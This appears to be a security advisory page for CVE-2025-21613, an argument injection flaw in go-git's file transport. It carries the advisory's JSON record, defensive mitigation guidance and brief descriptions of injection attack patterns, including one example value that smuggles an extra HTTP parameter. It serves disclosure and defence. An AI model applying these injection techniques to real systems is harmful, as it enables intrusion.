Users running versions of go-git from v4 and above are recommended to upgrade to v5.13 in order to mitigate this vulnerability.
Workarounds
In cases where a bump to the latest version of go-git is not possible, we recommend users to enforce restrict validation rules for values passed in the URL field.
Credit
Thanks to @vin01 for responsibly disclosing this vulnerability to us.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gopkg.in/src-d/go-git.v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"last_affected": "4.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-git/go-git/v5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-21613"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-06T16:16:30Z",
"nvd_published_at": "2025-01-06T17:15:47Z",
"severity": "CRITICAL"
},
"details": "### Impact\nAn argument injection vulnerability was discovered in `go-git` versions prior to `v5.13`. \n\nSuccessful exploitation of this vulnerability could allow an attacker to set arbitrary values to [git-upload-pack flags](https://git-scm.com/docs/git-upload-pack). This only happens when the `file` transport protocol is being used, as that is the only protocol that shells out to `git` binaries.\n\n### Affected versions\nUsers running versions of `go-git` from `v4` and above are recommended to upgrade to `v5.13` in order to mitigate this vulnerability.\n\n### Workarounds\nIn cases where a bump to the latest version of `go-git` is not possible, we recommend users to enforce restrict validation rules for values passed in the URL field.\n\n## Credit\nThanks to @vin01 for responsibly disclosing this vulnerability to us.",
"id": "GHSA-v725-9546-7q7m",
"modified": "2025-01-06T18:43:12Z",
"published": "2025-01-06T16:16:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-git/go-git/security/advisories/GHSA-v725-9546-7q7m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21613"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-git/go-git"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear",
"type": "CVSS_V4"
}
],
"summary": "go-git has an Argument Injection via the URL field"
}
Mitigation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.